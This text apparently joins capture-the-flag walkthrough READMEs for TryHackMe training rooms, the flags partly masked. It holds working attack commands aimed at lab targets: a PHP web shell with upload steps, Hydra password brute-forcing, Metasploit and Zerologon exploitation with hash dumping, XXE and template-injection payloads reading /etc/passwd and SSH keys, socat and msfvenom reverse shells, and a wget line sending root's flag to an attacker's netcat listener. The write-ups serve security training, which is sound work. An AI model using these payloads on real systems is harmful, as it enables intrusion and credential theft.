	- `?pattern`

- How do we repeat this search in the same direction?

	- `n`

- How do we repeat this search in the opposite direction?

	- `N`

- How do we search for "old" and replace it with "new"

	- `:%s/old/new/g`

- How do we use "grep" to search for a pattern in multiple files?

	- `:vimgrep`




================================================
FILE: ToolsRus/README.md
================================================
# ToolsRus

- What directory can you find, that begins with a "g"?

	- Considering using Scilla `scilla dir -target <TARGET_IP>`
	- `guide*****`

- Whose name can you find from this directory?

	- `bob`

- What directory has basic authentication?

	- `pro******`

- What is bob's password to the protected part of the website?

	- `hydra -t 4 -l bob -P /usr/share/wordlists/rockyou.txt -vV 10.10.213.196 http-get /protected`
	- `*******`

- What other port that serves a webs service is open on the machine?

	- `scilla port -target <TARGET_IP>`
	- `****`

- Going to the service running on that port, what is the name and version of the software?

	- Visit that page
	- `**************`

- How many documentation files did Nikto identify?

	- `nikto -h <TARGET_IP>:PORT`
	- `*`

- What is the server version (run the scan against port 80)?

	- `Apache/2.4.18`

- What user did you get a shell as?

	- `msfconsole`
	- `search tomcat 7`
	- `use multi/http/tomcat_mgr_upload`
	- `set RPORT ****`
	- `set RHOSTS <TARGET_IP>`
	- `set HttpUsername bob`
	- `set HttpPassword *******`
	- `run`
	- `getuid`
	- `****`

- What text is in the file /root/flag.txt

	- `cat /root/root.txt`
	- `************************`




================================================
FILE: Tor/README.md
================================================
# Tor

- Run apt-get install tor to install/update your Tor packages

	  no answer needed

- Run `service tor start` to start the Tor service

	  no answer needed

- Run `service tor status` to check Tor's availability

	  no answer needed

- Run `service tor stop` to stop the Tor service

	  no answer needed

- Let's start with running `apt install proxychains` to install/update proxychains tool

	  no answer needed

- Run `nano /etc/proxychains.conf` to edit the settings. (Note: You can use any text editing tool instead of nano)

	  no answer needed

- We can now see, that most of the methods are under comment mark. You can read their description and decide on using one of them in the future. For this lesson let's uncomment `dynamic_chain` and comment others (simply put '#' to the left). Additionally, it is useful to uncomment `proxy_dns` in order to prevent DNS leak. Scroll through the document and see whenever you want to add some additional proxies at the bottom of the page (which is not required at this point).

Apply all the settings.

	no answer needed

- Start the TOR service and run `proxychains firefox`. Usually, you are required to put 'proxychains' command before anything in order to force it to transfer data through Tor.

	  no answer needed

- After the firefox has loaded, check if your IP address has changed with any website that provides such information. Also, try running a test on `dnsleaktest.com` and see if your DNS address changed too.

NOTE: All other web browser windows should be closed before opening firefox through proxychains!

	no answer needed

- Finish the installation

	  no answer needed

- Launch the Tor Browser and set your privacy settings to Level 2 (Safer)

	  no answer needed

- Access the website below and capture the flag by copying bitcoin address at the bottom of the page!
http://danielas3rtn54uwmofdo3x2bsdifr47huasnmbgqzfrec5ubupvtpid.onion/

	- `1K91**vvE4P******T7z**********HBm5`





================================================
FILE: Upload-Vulnerabilities/README.md
================================================
# Upload Vulnerabilities

- Configure your hosts file for the task, as per the instructions above.

	  no answer needed

- Read and understand the above information.

	  no answer needed

- Read the General Methodology

	  no answer needed

- What is the name of the image file which can be overwritten?

	- Look at the source code, something like `images/***********`
	- `********.***`

- Overwrite the image. What is the flag you receive?

	- `*************************************`

- Run a Gobuster scan on the website using the syntax from the screenshot above. What directory looks like it might be used for uploads?

	- No
	- `scilla dir -target shell.uploadvulns.thm`
	- `/*********`

- Get either a web shell or a reverse shell on the machine.
What's the flag in the /var/www/ directory of the server?

	- Create a fie called `ws.php`
	- Paste this inside
	~~~
	<?php
    		echo system($_GET["cmd"]);
	?>
	~~~
	- Upload the file.
	- Navigate to `http://shell.uploadvulns.thm/resources/`
	- Click on ws.php.
	- `http://shell.uploadvulns.thm/resources/ws.php?cmd=ls`
	- `http://shell.uploadvulns.thm/resources/ws.php?cmd=pwd`
	- `http://shell.uploadvulns.thm/resources/ws.php?cmd=ls%20../../`
	- `http://shell.uploadvulns.thm/resources/ws.php?cmd=cat%20../../flag.txt`
	- `********************************************`

- What is the traditional server-side scripting language?

	- `php`

- When validating by file extension, what would you call a list of accepted extensions (whereby the server rejects any extension not in the list)?

	- `whitelist`

- [Research] What MIME type would you expect to see when uploading a CSV file?

	- `****/csv`

- What is the flag in /var/www/?

	- `scilla dir -target http://java.uploadvulns.thm/`
	- `images` is the interesting directory.
	- Visit http://java.uploadvulns.thm with BurpSuite enabled.
	- Intercept response (remember to disable js filtering on options sub-tab).
	- Delete this line:
	~~~
	<script src="assets/js/client-side-filter.js"></script>
	~~~
	- Upload `ws.php`.
	- Navigate to `/images`.
	- Click on ws.php.
	- `http://java.uploadvulns.thm/images/ws.php?cmd=ls`
	- `http://java.uploadvulns.thm/images/ws.php?cmd=pwd`
	- `http://java.uploadvulns.thm/images/ws.php?cmd=ls%20../../`
	- `http://java.uploadvulns.thm/images/ws.php?cmd=cat%20../../flag.txt`
	- `********************************************`

- What is the flag in /var/www/?

	- Upload a `jpg` file and see if this is accepted. OK, accepted.
	- Rename `ws.php` to `ws.php5`.
	- Upload that.
	- `scilla dir -target annex.uploadvulns.thm`
	- `/privacy` found.
	- Click on ws.php5.
	- `http://annex.uploadvulns.thm/privacy/ws.php5?cmd=ls`
	- `http://annex.uploadvulns.thm/privacy/ws.php5?cmd=pwd`
	- `http://annex.uploadvulns.thm/privacy/ws.php5?cmd=ls%20../../`
	- `http://annex.uploadvulns.thm/privacy/ws.php5?cmd=cat%20../../flag.txt`
	- `********************************************`

- Grab the flag from /var/www/

	- `file ws.php`
	- `hexeditor ws.php`
	- Change the first bytes with `47 49 46 38 37 61`.(GIF87a)
	- Upload on http://magic.uploadvulns.thm
	- As done before....
	- `**********************************************`

- Read the example methodology

	  no answer needed

- 

	- I had some problems with this :(
	- I suggest you to see this video, It's perfect. https://www.youtube.com/watch?v=5uGWFWvpJUg






================================================
FILE: Web-Scanning/README.md
================================================
# Web Scanning

- Deploy the machine!

	  no answer needed

- First and foremost, what switch do we use to set the target host?

	- `-h`

- Websites don't always properly redirect to their secure transport port and can sometimes have different issues depending on the manner in which they are scanned. How do we disable secure transport?

	- `-nossl`

- How about the opposite, how do we force secure transport?

	- `-ssl`

- What if we want to set a specific port to scan?

	- `-p`

- As the web is constantly evolving, so is Nikto. A database of vulnerabilities represents a core component to this web scanner, how do we verify that this database is working and free from error?

	- `-dbcheck`

- If instructed to, Nitko will attempt to guess and test both files within directories as well as usernames. Which switch and numerical value do we use to set Nikto to enumerate usernames in Apache? Keep in mind, this option is deprecated in favor of plugins, however, it's still a great option to be aware of for situational usage.

	- `-mutate 3`

- Suppose we know the username and password for a web forum, how do we set Nikto to do a credentialed check? Suppose the username is admin and the password is PrettyAwesomePassword1234

	- `-id admin:PrettyAwesomePassword1234`

- Let's scan our target machine, what web server do we discover and what version is it?

	- `nikto -h <TARGET_IP>`
	- `Apache/2.4.7`

- This box is vulnerable to very poor directory control due to it's web server version, what directory is indexed that really shouldn't be?

	- `config`

- Nikto scans can take a while to fully complete, which switch do we set in order to limit the scan to end at a certain time?

	- `-until`

- But wait, there's more! How do we list all of the plugins are available?

	- `--list-plugins`

- On the flip-side of the database, plugins represent another core component to Nikto. Which switch do we use to instruct Nikto to use plugin checks to find out of date software on the target host? Keep in mind that when testing this command we need to specify the host we intend to run this against. For submitting your answer, use only the base command with the out of date option. 

	- `nikto --list-plugins`
	- `-Plugins outdated`

- Finally, what if we'd like to use our plugins to run a series of standard tests against the target host?

	- `-Plugins tests`

- Let's start simple and launch zap. This can be done in a number of ways (Commands: owasp-zap, zaproxy) or through launching it in the Kali gui.

	  no answer needed

- Launch ZAP, what option to we set in order to specify what we are attacking?

	- `URL to attack`

- Launch the attack against our target! Throughout the course of this attack you may notice this is very similar to Nikto. Similar to Nessus vs. OpenVAS, Nikto and ZAP and both offer different perspectives on a host and, as such, it's useful to know how to leverage both scanning tools in order to maximize your own visibility in a situation wherein 'noise' doesn't particularly matter.

	  no answer needed

- ZAP will discover a file that typically contains pages which well-behaved web indexing engines will read in order to know which sections of a site to avoid. What is the name of this file? (Lucky for us, our scanner isn't what we would call 'well-behaved'!)

	- `robots.txt`

- One entry is included in the disallow section of this file, what is it?

	- `/`

- ZAP will find a directory that contains images for our application, what is the path for that directory? (This is what will follows the name/ip of the website)

	- `/dvwa/images`

- This website doesn't force a secure connection by default and ZAP isn't pleased with it. Which related cookie is ZAP upset about?

	- `httponly`

- Featured in various rooms on TryHackMe, Cross-Site Scripting is a vicious attack that is becoming ever more common on the open web. What Alert does ZAP produce to let us know that this site is vulnerable to XSS? Note, there are often a couple warnings produced for this, look for one more so directly related to the web client.

	- `Web Browser XSS Protection not enabled`

- The ZAP proxy spider represents the component responsible for 'crawling' the site. What site is found to be out of scope?

	- `http://www.dvwa.co.uk`

- ZAP will use primarily two methods in order to scan a website, which of these two HTTP methods requests content?

	- `GET`

- Which option attempts to submit content to the website?

	- `POST`







================================================
FILE: Wgel-CTF/README.md
================================================
# Wgel CTF

Have fun with this easy box.

- User flag

	- The first thing I notice is that the port 80 is open and it diplays the Apache2 Default Page.
	- There is a comment for a certain 'Jessie'.
	- `nmap -sV <TARGET_IP>`
	- Ports open: 22 and 80.
	- `gobuster dir -u <TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt`
	- On `/sitemap/` interesting content.
	- Still gobuster things.
	- `http://<TARGET_IP>/sitemap/.ssh/id_rsa`
	- Use that to connect via ssh.
	- `ssh jessie@<TARGET_IP>`
	- `find ~ | grep flag`
	- `cat /home/jessie/Documents/user_flag.txt`
	- `05**671******e42d**********8ff6`

- Root flag

	- `sudo -l`
	- On your machine `nc -lnvp 4444`
	- On target `sudo /usr/bin/wget --post-file=/root/root_flag.txt <YOUR_IP>:4444`
	- `**b96******9ad1da**********9263d`


================================================
FILE: What-the-Shell?/README.md
================================================
# What the Shell?

- Read and understand the introduction.

	  no answer needed

- Read the above and check out the links!

	  no answer needed

- Which type of shell connects back to a listening port on your computer, Reverse (R) or Bind (B)?

	- `R`

- You have injected malicious shell code into a website. Is the shell you receive likely to be interactive? (Y or N)

	- `N`

- When using a bind shell, would you execute a listener on the Attacker (A) or the Target (T)?

	- `T`

- Which option tells netcat to listen?

	- `-l`

- How would you connect to a bind shell on the IP address: 10.10.10.11 with port 8080?

	- `nc 10.10.10.11 8080`

- How would you change your terminal size to have 238 columns?

	- `stty cols 238`

- What is the syntax for setting up a Python3 webserver on port 80?

	- `sudo python3 -m http.server -p 80`

- How would we get socat to listen on TCP port 8080?

	- `TCP-L:8080`

- What is the syntax for setting up an OPENSSL-LISTENER using the tty technique from the previous task? Use port 53, and a PEM file called "encrypt.pem"

	- `socat OPENSSL-LISTENER:53,cert=encrypt.pem,verify=0 FILE:'tty',raw,echo=0`

- If your IP is 10.10.10.5, what syntax would you use to connect back to this listener?

	- `socat TCP:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane`

- What command can be used to create a named pipe in Linux?

	- `mkfifo`

- Look through the linked Payloads all the Things Reverse Shell Cheatsheet and familiarise yourself with the languages available.

	  no answer needed

- Generate a staged reverse shell for a 64 bit Windows target, in a .exe format using your TryHackMe tun0 IP address and a chosen port.

	  no answer needed

- Which symbol is used to show that a shell is stageless?

	- `_`

- What command would you use to generate a staged meterpreter reverse shell for a 64bit Linux target, assuming your own IP was 10.10.10.5, and you were listening on port 443? The format for the shell is elf and the output filename should be shell

	- `msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf -o shell LHOST=10.10.10.5 LPORT=443`

- What command can be used to start a listener in the background?

	- `exploit -j`

- If we had just received our tenth reverse shell in the current Metasploit session, what would be the command used to foreground it?

	- `sessions 10`

- Read the WebShells information.

	  no answer needed

- Read the above information

	  no answer needed

- Try uploading a webshell to the Linux box, then use the command: nc <LOCAL-IP> <PORT> -e /bin/bash to send a reverse shell back to a waiting listener on your own machine.

	  no answer needed	

- Navigate to /usr/share/webshells/php/php-reverse-shell.php in Kali and change the IP and port to match your tun0 IP with a custom port. Set up a netcat listener, then upload and activate the shell.

	  no answer needed

- Log into the Linux machine over SSH using the credentials in task 14. Use the techniques in Task 8 to experiment with bind and reverse netcat shells.

	  no answer needed

- Practice reverse and bind shells using Socat on the Linux machine. Try both the normal and special techniques.

	  no answer needed

- Look through Payloads all the Things and try some of the other reverse shell techniques. Try to analyse them and see why they work.

	  no answer needed

- Switch to the Windows VM. Try uploading and activating the php-reverse-shell. Does this work?

	  no answer needed

- Upload a webshell on the Windows target and try to obtain a reverse shell using Powershell.

	  no answer needed

- The webserver is running with SYSTEM privileges. Create a new user and add it to the "administrators" group, then login over RDP or WinRM.

	  no answer needed

- Experiment using socat and netcat to obtain reverse and bind shells on the Windows Target.

	  no answer needed

- Create a 64bit Windows Meterpreter shell using msfvenom and upload it to the Windows Target. Activate the shell and catch it with multi/handler. Experiment with the features of this shell.

	  no answer needed

- Create both staged and stageless meterpreter shells for either target. Upload and manually activate them, catching the shell with netcat -- does this work?

	  no answer needed

- No Answer Required

	  no answer needed

- No answer required

	  no answer needed




================================================
FILE: Windows-PrivEsc/README.md
================================================
# Windows PrivEsc

- Deploy the Windows VM and login using the "user" account.

	  no answer needed

- Generate a reverse shell executable and transfer it to the Windows VM. Check that it works!

	  no answer needed

- What is the original `BINARY_PATH_NAME` of the daclsvc service?

	- `C:\Program Files\DACL Service\***********.exe`

- What is the `BINARY_PATH_NAME` of the unquoted service?

	- `C:\Program Files\Unquoted Path Service\Common Files\*****************e.exe`

- Read and follow along with the above.

	  no answer needed

- Read and follow along with the above.

	  no answer needed

- Read and follow along with the above.

	  no answer needed

- Read and follow along with the above.

	  no answer needed

- What was the admin password you found in the registry?

	- `*********123`

- Read and follow along with the above.

	  no answer needed

- What is the NTLM hash of the admin user?

	- `********************************`

- Read and follow along with the above.

	  no answer needed

- Read and follow along with the above.

	  no answer needed

- Read and follow along with the above.

	  no answer needed

- Read and follow along with the above.

	  no answer needed

- Name one user privilege that allows this exploit to work.

	- `Se*******************vege`

- Name the other user privilege that allows this exploit to work.

	- `Se******************************vege`

- Read and follow along with the above.

	  no answer needed

- Experiment with all four tools, running them with different options. Do all of them identify the techniques used in this room?

	  no answer needed


================================================
FILE: Wireshark-101/README.md
================================================
# Wireshark 101

- Read the above and move on to Installation.

	  no answer needed

- Read the above, and ensure you have Wireshark installed.

	  no answer needed

- Read the above and play around with Wireshark.

	  no answer needed

- Read the above and practice collecting captures, as well as understand the various capture techniques available

	  no answer needed

- Read the above and understand the basics of packet filtering.

	  no answer needed

- Read the above and move on to analyzing application protocols.

	  no answer needed

- What is the Opcode for Packet 6?

	- `request (1)`

- What 4 packets are Reply packets?

	- Apply as filter: `arp.opcode==2`
	- `**,***,***,***`

- What IP Address is at `80:fb:06:f0:45:d7`?

	- The first found previously (`**`).

- What is the type for packet 4?

	- `8`

- What is the type for packet 5?

	- `0`

- What is the timestamp for packet 12, only including month day and year? note: Wireshark bases it’s time off of your devices time zone, if your answer is wrong try one day more or less.
	
	- `May **, 2013`

- What is the full data string for packet 18?

	- `08090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132*********`

- Read the above and move into Task 10.

	  no answer needed

- What is being queried in packet 1?

	- `*.*.*.*.in-addr.arpa`

- What site is being queried in packet 26?

	- `www.********.org`

- What is the Transaction ID for packet 26?

	- `0x**58`

- What percent of packets originate from Domain Name System?

	- Into `Statistics` tab
	- `4.7`

- What endpoint ends in .237?

	- Into `Statistics` tab
	- `***.254.160.237`

- What is the user-agent listed in packet 4?

	- `Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/********`

- Looking at the data stream what is the full request URI from packet 18?

	- `http://pagead2.googlesyndication.com/pagead/ads?client=ca-pub-2309191948673629&random=1084443430285&lmt=1082467020&format=468x60_as&output=html&url=http%3A%2F%2Fwww.ethereal.com%2Fdownload.html&color_bg=FFFFFF&color_text=333333&color_link=000000&color_url=666633&color_border=******`

- What domain name was requested from packet 38?

	- `www.********.com`

- Looking at the data stream what is the full request URI from packet 38?

	- `http://www.**********.com/download.html`

- Looking at the data stream what is the full request URI for packet 31?

	- Add the key as described.
	- `https://localhost/icons/**********.png`

- Looking at the data stream what is the full request URI for packet 50?

	- `https://localhost/icons/****.***`

- What is the User-Agent listed in packet 50?

	- `Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.2) Gecko/20060308 Firefox/*.*.*.*`

- Read the above and analyze the PCAP yourself  to piece together the events that occurred.

	  no answer needed

- Check out the provided links and keep learning!

	  no answer needed





================================================
FILE: XXE/README.md
================================================
# XXE

- Deploy the VM

	  no answer needed

- Full form of XML

	- `Extensible markup Language`

- Is XML case sensitive?

	- `yes`

- Is it compulsory to have XML prolog in XML documents?

	- `no`

- Can we validate XML documents against so schema?

	- `yes`

- How can we specify XML version and encoding in XML document?

	- `XML Prolog`

- With what extension do you save a DTD file?

	- `dtd`

- How do you define a new ELEMENT?

	- `!ELEMENT`

- How do you define a ROOT element?

	- `!DOCTYPE`

- How do you define a new ENTITY?

	- `!ENTITY`

- Try the payload mentioned in description on the website.

	  no answer needed

- Try to display your own name using any payload.

	  no answer needed

- See if you can read the /etc/passwd

	  no answer needed

- What is the name of the user in /etc/passwd

	- `falcon`

- Where is falcon's SSH key located?

	  no answer needed

- What are the first 18 characters for falcon's private key

	~~~
	<?xml version="1.0"?>
	<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///home/falcon/.ssh/id_rsa'>]>
	<root>&read;</root>
	~~~
	- `********************`




================================================
FILE: Year-of-the-Rabbit/README.md
================================================
# Year of the Rabbit

- What is the user flag?

	- `scilla port -target <TARGET_IP>`
	- `21, 22, 80` open.
	- `scilla dir -target <TARGET_IP>`
	- Visit `/assets/`.
	- In `style.css`:
	~~~
    	Take a look at the page: /*****************.php
	~~~
	- Turn off your javascript.
	- Looking at the actual request we can find a hidden folder `W********-qU/`.
	- Visit that folder and download `Hot_Babe.png`.
	- `strings Hot_Babe.png`
	- Copy the passwords in a txt file.
	- `hydra -t 8 -l ****** -P Hot.txt -vV <TARGET_IP> ftp`
	- `***********`
	- `ftp <TARGET_IP>`, enter username and password.
	- `get "Eli's Creds.txt"`
	- [here](https://www.splitbrain.org/_static/ook/)
	~~~
	User: eli
	Password: *************
	~~~
	- `ssh eli@<TARGET_IP>`, `yes` and enter pwd. 
	- `find / -name s3cr3t`
	- `cd /***/*****/s3cr3t/`
	- `ls -lah`
	- `cat .t*`
	- `su - gwendoline` and enter pwd.
	- `pwd`
	- `ls -lah`
	- `cat user.txt`
	- `**************************************`

- What is the root flag?

	- `sudo -l`
	- `sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt`
	- `:!sh`
	- `whoami`
	- `pwd`
	- `cd /root/`
	- `ls -alh`
	- `cat root.txt`
	- `********************************************`




================================================
FILE: ZTH:-Obscure-Web-Vulns/README.md
================================================
# ZTH: Obscure Web Vulns

- Read the Intro.

	  no answer needed

- Read the above!

	  no answer needed

- Read the above.

	  no answer needed

- How would a hacker(you :) ) cat out /etc/passwd on the server(using cat with the rce payload)

	- `{{config.__class__.__init__.__globals__['os'].popen("cat /etc/passwd").read()}}`

- What about reading in the contents of the user test's private ssh key.(use the read file one not the rce one)

	- `{{ ''.__class__.__mro__[2].__subclasses__()[40]()(/home/test/.ssh/id_rsa).read()}}`

- How would I cat out /etc/passwd using tplmap on the ip:port combo 10.10.10.10:5000, with the vulnerable param "noot".

	- `tplmap -u http://10.10.10.10:5000/ -d 'noot' --os-cmd "cat /etc/passwd"`

- What is the flag?

	- `{{config.__class__.__init__.__globals__['os'].popen("ls /flag").read()}}`
	- Read the flag using this command
	- `********`

- Read the above.

	  no answer needed

- Read the above.

	  no answer needed

- What parameter allows us to generate a POC(actual exploit)

	- `--malicious`

- Earn that cookie!

	  no answer needed

- Read the above.

	  no answer needed

- Read the above.

	  no answer needed

- Read the above.

	 no answer needed

- What is the flag?

	- `noot****************`

- Remember to read the RFC when your developing a library.

	  no answer needed

- Read the above.

	  no answer needed

- Read the above

	  no answer needed

- What is the flag?

	- `*********noot`

- Read the above.

	  no answer needed

- Read the above.

	  no answer needed

- Read the above.

	  no answer needed

- How many users are on the system?

	- `31`

- What is the name of the user with a UID of 1000?

	- `p**a`

- Read the above.

	  no answer needed

- Read the above

	  no answer needed

- What is the secret?

	- [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
	- `****`

- Update me..

	  no answer needed



================================================
FILE: ZTH:-Web_2/README.md
================================================
# ZTH: Web 2

- Read the above

	  no answer needed

- Read the above.

	  no answer needed

- Read the above.

	  no answer needed

- What is the flag

	- Play with note argument
	- `flag{**************}`

- Read the above.

	  no answer needed

- Read the above.

	  no answer needed

- What flag hides characters

	- `--hh`

- What flag shows specific word amounts instead of hides them

	- `--sw`

- What is the flag

	- `http://<TARGET_IP>/password/note.txt`
	- `*******************`

- Read the above.

	  no answer needed

- Read the above.

	  no answer needed

- What is the flag

	- IDOR `/flag.txt`
	- `***********`




================================================
FILE: Zero-Logon/README.md
================================================
# Zero Logon

- Read about Zero Logon

	  no answer needed

- Install Impacket in a Virtual Environment 

	  no answer needed

- What method will allow us to change Passwords over NRPC?

	- `NetrServerPasswordSet2`

- What are the required fields for the method per the Microsoft Documentation?

	- `PrimaryName, AccountName, SecureChannelType, ComputerName, Authenticator, ReturnAuthenticator, ClearNewPassword`

- What Opnumber is the Method?

	- `30`

- Modify the PoC

	- `git clone https://github.com/Sq00ky/Zero-Logon-Exploit`

- What is the NetBIOS name of the Domain Controller?

	- `nmap -sV -sC -oA scans/initial <TARGET_IP>`
	- `DC01`

- What is the NetBIOS domain name of the network?

	- `HOLOLIVE`

- What domain are you attacking?

	- `hololive.local`

- What is the Local Administrator's NTLM hash?

	- `python3 zerologon-NullPass.py DC01 <TARGET_IP>`
	- `secretsdumps.py -just-dc -no-pass DC01\$@<TARGET_IP>`
	- `Administrator:500:aad3b435b51404eeaad3b435b51404ee:*********************************:::`

- How many Domain Admin accounts are there?

	- `2`

- What is the root flag?

	- `evil-winrm -u Administrator -H ********************************* -i <TARGET_IP>`
	- `cd ..`
	- `cat root.txt`
	- `********************`



================================================
FILE: cc-pentesting/README.md
================================================
# CC - PENTESTING // TRYHACKME

### [Section 1 - Network Utilities] - nmap 

- What does nmap stand for?

	- `network mapper`

- How do you specify which port(s) to scan?

	- `-p`

- How do you do a "ping scan" (just tests if the host(s) is up)?

	- `-sn`

- What is the flag for a UDP scan?

	- `-sU`

- How do you run default scripts?

	- `-sC`

- How do you enable "aggressive mode"(Enables OS detection, version detection, script scanning, and traceroute)?

	- `-A`

- What flag enables OS detection?

	- `-O`

- How do you get the versions of services running on the target machine?

	- `-sV`

- How many ports are open on the machine?

	- `nmap -p- <TARGET_IP>`

- What service is running on the machine?

	- `apache`

- What is the version of the service?

	- `nmap -sV <TARGET_IP>`

- What is the output of the http-title script(included in default scripts)?

	- `nmap -sV -sC <TARGET_IP>`

### [Section 1 - Network Utilities] - Netcat

- How do you listen for connections?

	- `-l`

- How do you enable verbose mode(allows you to see who connected to you)?

	- `-v`

- How do you specify a port to listen on?

	- `-p`

- How do you specify which program to execute after you connect to a host(One of the most infamous)?

	- `-e`

- How do you connect to udp ports?

	- `-u`

###  [Section 2 - Web Enumeration] - gobuster

- How do you specify directory/file brute forcing mode?

	- `dir`

- How do you specify dns bruteforcing mode?

	- `dns`

- What flag sets extensions to be used?
Example: if the php extension is set, and the word is "admin" then gobuster will test admin.php against the webserver

	- `-x`

- What flag sets a wordlist to be used?

	- `-w`

- How do you set the Username for basic authentication(If the directory requires a username/password)?

	- `-U`

- How do you set the password for basic authentication?

	- `-P`

- How do you set which status codes gobuster will interpret as valid?
Example: 200,400,404,204

	- `-s`

- How do you skip ssl certificate verification?

	- `-k`

- How do you specify a User-Agent?

	- `-a`

- How do you specify a HTTP header?

	- `-H`

- What flag sets the URL to bruteforce?

	- `-u`

- What is the name of the hidden directory?

	- `gobuster dir -w /usr/share/wordlists/rockyou.txt -u <TARGET_IP>`

- What is the name of the hidden file with the extension xxa?

	- `gobuster dir -x xxa -w /usr/share/wordlists/rockyou.txt -u <TARGET_IP>`

###  [Section 2 - Web Enumeration] - nikto

- How do you specify which host to use?

	- `-h`

- What flag disables ssl?

	- `-nossl`

- How do you force ssl?

	- `-ssl`

-  How do you specify authentication(username + pass)?

	- `-id`

- How do you select which plugin to use?

	- `-plugins`

- Which plugin checks if you can enumerate apache users?

	- `nikto --list-plugins`

- How do you update the plugin list?

	- `-update`

- How do you list all possible plugins to use?

	- `-list-plugins`

### [Section 3 - Metasploit]: Intro

	// no answer nedeed

### [Section 4 - Metasploit]: Setting Up

- What command allows you to search modules?

	- `search`

- How do you select a module?

	- `use`

- How do you display information about a specific module?

	- `info`

- How do you list options that you can set?

	- `options`

- What command lets you view advanced options for a specific module?

	- `advanced`

- How do you show options in a specific category?

	- `show`

### [Section 3 - Metasploit]: - Selecting a module

- How do you select the eternalblue module?

	- `use exploit/windows/smb/ms17_010_eternalblue`

- What option allows you to select the target host(s)?

	- `RHOSTS`

- How do you set the target port?

	- `RPORT`

- What command allows you to set options?

	- `set`

- How would you set SMBPass to “username”?

	- `set SMBPass username`

- How would you set the SMBUser to "password"?

	- `set SMBUser password`

- What option sets the architecture to be exploited?

	- `arch`

- What option sets the payload to be sent to the target machine?

	- `payload`

- Once you’ve finished setting all the required options, how do you run the exploit?

	- `exploit`

- What flag do you set if you want the exploit to run in the background?

	- `-j`

- How do you list all current sessions?

	- `sessions`

- What flag allows you to go into interactive mode with a session("drops you either into a meterpreter or regular shell")?

	- `-i`

### [Section 3 - Metasploit]: meterpreter

- What command allows you to download files from the machine?

    - `download`

- What command allows you to upload files to the machine?

    - `upload`

- How do you list all running processes?

    - `ps`

- How do you change processes on the victim host?

    - `migrate`

- What command lists files in the current directory on the remote machine?

    - `ls`

- How do you execute a command on the remote host?

    - `execute`

- What command starts an interactive shell on the remote host?

    - `shell` 

- How do you find files on the target host?

    - `search`

- How do you get the output of a file on the remote host?

    - `cat`

- How do you put a meterpreter shell into “background mode”

    - `background`

### [Section 3 – Metasploit]: Final Walkthrough

- Select the module that needs to be exploited

	- `use exploit/multi/http/nostromo_code_exec`

- What variable do you need to set, to select the remote host?

	- `RHOSTS`

- How do you set the port to 80?

	- `set RPORT 80`

- How do you set listening address(Your machine)?

	- `LHOST`

- What is the name of the secret directory in the /var/nostromo/htdocs directory?

	- `s3cretd1r`

- What are the contents of the file inside of the directory?

	- `Woohoo!`

### [Section 4 - Hash Cracking]: Intro

	// no answer needed

###  [Section 4 - Hash Cracking]: Salting and Formatting

	// no answer needed

###  [Section 4 - Hash Cracking]: hashcat

- What flag sets the mode?

	- `-m`

- What flag sets the “attack mode”?

	- `-a`

- What is the attack mode number for Brute-force?

	- `3`

- What is the mode number for SHA3-512?

	- `17600`

- Crack This Hash: 56ab24c15b72a457069c5ea42fcfc640
Type: MD5
	
	- [crackstation.net](https://crackstation.net/)

- Crack this hash: 4bc9ae2b9236c2ad02d81491dcb51d5f
Type: MD4

	- [crackstation.net](https://crackstation.net/)

### [Section 4 - Hash Cracking]: John The Ripper

Note: There are multiple variations of jtr out there. For this task the version that comes pre-installed on kali will be used

Note 2: All hashes can be cracked with rockyou.txt

- What flag let’s you specify which wordlist to use?

	- `–wordlist`

- What flag lets you specify which hash format(Ex: MD5,SHA1 etc.) to use?  

	- `-–format`

- How do you specify which rule to use?

	- `--rules`

- Crack this hash: 5d41402abc4b2a76b9719d911017c592
Type MD5

	- `touch hash`
	- `echo 5d41402abc4b2a76b9719d911017c592 > hash`
	- `sudo john --show --format=raw-md5 hash`

- Crack this hash: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
Type: SHA1

	- `touch hash`
	- `echo 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8  > hash`
	- `john --show --format=raw-sha1 hash`

### [Section 5 - SQL Injection]: Intro

	// no answer needed

### [Section 5 - SQL Injection]: sqlmap

- How do you specify which url to check?

	- `-u`

- What about which google dork to use?

	- `-g`

- How do you select(lol) which parameter to use?(Example: in the url http://ex.com?test=1 the parameter would be test.)

	- `-p`

- What flag sets which database is in the target host's backend?(Example: If the flag is set to mysql then sqlmap will only test mysql injections).

	- `-–dbms`

- How do you select the level of depth sqlmap should use?

	- `–-level`

- How do you dump the table entries of the database?

	- `–-dump`

- Which flag sets which db to enumerate?

	- `-D`

- Which flag sets which table to enumerate?

	- `-T`

- Which flag sets which column to enumerate?

	- `-C`

- How do you ask sqlmap to try to get an interactive os-shell?

	- `--os-shell`

- What flag dumps all data from every table?

	- `--dump-all`

### [Section 5 - SQL Injection]: A Note on Manual SQL Injection

	// no answer needed

### [Section 5 - SQL Injection]: Vulnerable Web Application

- Set the url to the machine ip, and run the command

- How many types of sqli is the site vulnerable too?

	- `3`

- Dump the database.

	- `sqlmap -u http://<TARGET_IP> --forms --dump`

- What is the name od the database?

	- `tests`

- How many tables are in the database?

	- `2`

- What is the value of the flag?

	- `found_me`

### [Section 6 - Samba]: Intro

	// no answer needed

### [Section 6 - Samba]: smbmap

- How do you set the username to authenticate with?

	- `-u`

- What about the password?  

	- `-p`

- How do you set the host?

	- `-h`

- What flag runs a command on the server(assuming you have permissions that is)?

	- `-x`

- How do you specify the share to enumerate?

	- `-s`

- How do you set which domain to enumerate?

	- `-d`

- What flag downloads a file?

	- `-download`

- What about uploading one?

	- `-upload`

- Given the username “admin”, the password “password”, and the ip “10.10.10.10”, how would you run ipconfig on that machine?

	- `smbmap -u "admin" -p "password" -H 10.10.10.10 -x "ipconfig"`

### [Section 6 – Samba]: smbclient

- How do you specify which domain(workgroup) to use when connecting to the host?

	- `-w`

- How do you specify the ip address of the host?

	- `-I`

- How do you run the command "ipconfig" on the target machine?

	- `-c "ipconfig"`

- How do you specify the username to authenticate with?

	- `-U`

